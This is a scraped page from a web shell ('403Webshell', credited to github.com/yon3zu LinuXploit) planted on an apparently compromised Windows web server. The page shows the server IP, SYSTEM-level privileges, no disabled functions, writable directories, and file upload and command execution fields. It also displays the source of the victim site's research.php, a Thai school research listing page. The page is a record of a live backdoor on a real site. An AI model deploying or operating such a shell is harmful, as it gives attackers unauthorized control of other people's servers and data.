403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/research.php
<?php 
session_start();
include("header.php");
$id = $mysqli->escape_string($_GET['id']);
 ?>
 <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ประกาศ</title>

<style type="text/css">
table.dataTable tbody th, table.dataTable tbody td {
    padding: 3px 2px;
}
</style> 
<style type="text/css">
<!--
#Layer1 {
	position:absolute;
	left:25px;
	top:10px;
	width:100px;
	height:99px;
	z-index:1;
}
-->
</style>
<?php
// Create the function, so you can use it
function isMobile() {
    return preg_match("/(android|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
}
// If the user is on a mobile device, redirect them
if(isMobile()) {} else {
echo "<div id='Layer1'><a href='index.php'><img src='images/logo.png'></a></div>";
}
?>

          <script src="bootstrap/js/jquery-3.2.1.min.js"></script>  
           <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" />  
           <script src="bootstrap/js/jquery.dataTables.min.js"></script>  
           <script src="bootstrap/js/dataTables.bootstrap.min.js"></script>            
           <link rel="stylesheet" href="bootstrap/css/dataTables.bootstrap.min.css" /> 
		   <script src="bootstrap/js/bootstrap.min.js"></script>


</head>

<body>
<?php if(!isset($_SESSION['username'])){?>

<?php
			echo "<script language=javascript>alert('คุณยังไม่ได้เข้าระบบ');</script>";
			echo "<script>window.parent.location=\"index.php\"</script>";

?>

<?php }else{ ?>
	<div class="row">
		<div class="col-xl-12">
			<div class="breadcrumb-holder">
					<ol class="breadcrumb float-right">
					<li class="breadcrumb-item">Home</li>
					<li class="breadcrumb-item active">วิจัยในชั้นเรียน</li>
												<span class="pull-right">
							<a href="#" data-toggle="modal" data-target="modal_are">					
							<button class="btn btn-primary btn-sm" ><i class="fa fa-user-plus" aria-hidden="true"></i> เพิ่มผู้วิจัย</button></a>
							</span>
                    </ol>
                    <div class="clearfix"></div>
            </div>
		</div>
	</div>

<!-- Modal -->
<div id="modal_are" class="modal fade" role="dialog">
  <div class="modal-dialog">

    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title">ข่าวประกาศ/จัดจ้าง</h4>
      </div>
      <div class="modal-body">
        <p>
<form id="form1" name="form1" method="post" action="file_school_save.php?id=<?=$id;?>" enctype="multipart/form-data" >		
<div class="row">
<div class="col-md-2">
ชื่อเรื่อง
</div>
<div class="col-md-10">
<input class="form-control input-sm" name="title" type="text" style=\'width:460px;\'  required>
</div>
</div>	
<div class="row"><br></div> 
<div class="row">
<div class="col-md-2">
รายละเอียด
</div>
<div class="col-md-10">
<textarea class="form-control input-sm" name="detail" cols="50" rows="6" style=\'width:460px;\' required></textarea>
</div>
</div>

 <div class="modal-body">
		<div class="row">
		<div class="col-md-12">
<div class="row"><br></div> 
<style>
.fileUpload {
    position: relative;
    overflow: hidden;
    margin: 0px;
	left: 10px;
}
.fileUpload input.upload {
    position: absolute;
    top: 0;
    right: 0;
    margin: 0;
    padding: 0;
    font-size: 20px;
    cursor: pointer;
    opacity: 0;
    filter: alpha(opacity=0);
}
</style>

<div class="row">
<div class="col-md-2">
ไฟล์  
</div>
					<div class="col-sm-10">
								<table width="400" border="0" align="left">
									<tr>
										<td align="left" valign="middle"><input id="uploadFile" style="width:370px;" placeholder="ไฟล์ *.pdf *.zip *.rar " disabled="disabled" class="form-control" name="fileUpload" ></td>
										<td width="100" align="left" valign="middle">
										<div class="fileUpload btn btn-primary">
										<span>เลือกไฟล์</span>
										<input id="uploadBtn" type="file" class="upload"  accept=".pdf,.zip,.rar" name="fileUpload" required>
										</div>
										</td>
									</tr>
								</table>

								
									<script type="text/javascript">  
										document.getElementById("uploadBtn").onchange = function () {  
										document.getElementById("uploadFile").value = this.value;
										};
									</script>
								
					</div> 
</div>


		</div>
		</div>
   </div>
               <div class="modal-footer">
                <button type="button" class="btn btn-default pull-left" data-dismiss="modal">ยกเลิก</button>
                <button type="submit" class="btn btn-success">บันทึก</button>
              </div> 
</form>		
		</p>
      </div>
    </div>

  </div>
</div>
<!-- End Modal -->	
	
    <!-- end row -->

			<div class="row">
			
                    <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 col-xl-12">						
						<div class="card mb-3">
							
							<div class="card-body">								
								<div class="table-responsive">
								<table id="example1" class="table table-striped table-hover display" cellspacing="0" width="100%">
									<thead>
									<tr>
										<th width="5">#</th>
										<th width="100">ชื่อผู้วิจัย</th>
										<th>เรื่อง</th>
										<th><center>จัดการ</center></th>

									</tr>
									</thead>
									<tbody>
<?php
$sql= $mysqli->query("SELECT * FROM tb_research WHERE idsc='$id' ");
$si = 0;
while($row=mysqli_fetch_array($sql)) {
	$uname=$row['name'];
	$utitle=$row['title'];
	$uyear=$row['year'];
	$upage=$row['page'];
$si++;
?>
						<tr>
							<td align='center'><?php echo $si;?></td>			
							<td><?=$uname;?></td>
							<td><?=$utitle;?></td>
							<td align="center">
							<button class="btn btn-info btn-sm" data-toggle="modal" data-target="#modal_add_<?=$username;?>"><i class="fa fa-user-plus" aria-hidden="true"></i> ตั้งค่า</button>
							
													
							</td>
						</tr>
                    <?php 
					} // end while
					?>
									</tbody>
								</table>
								</div>	
								
							</div>														
						</div><!-- end card-->					
                    </div>
					

			</div>

<?php }?>
</body>

<?php include("footer.php"); ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit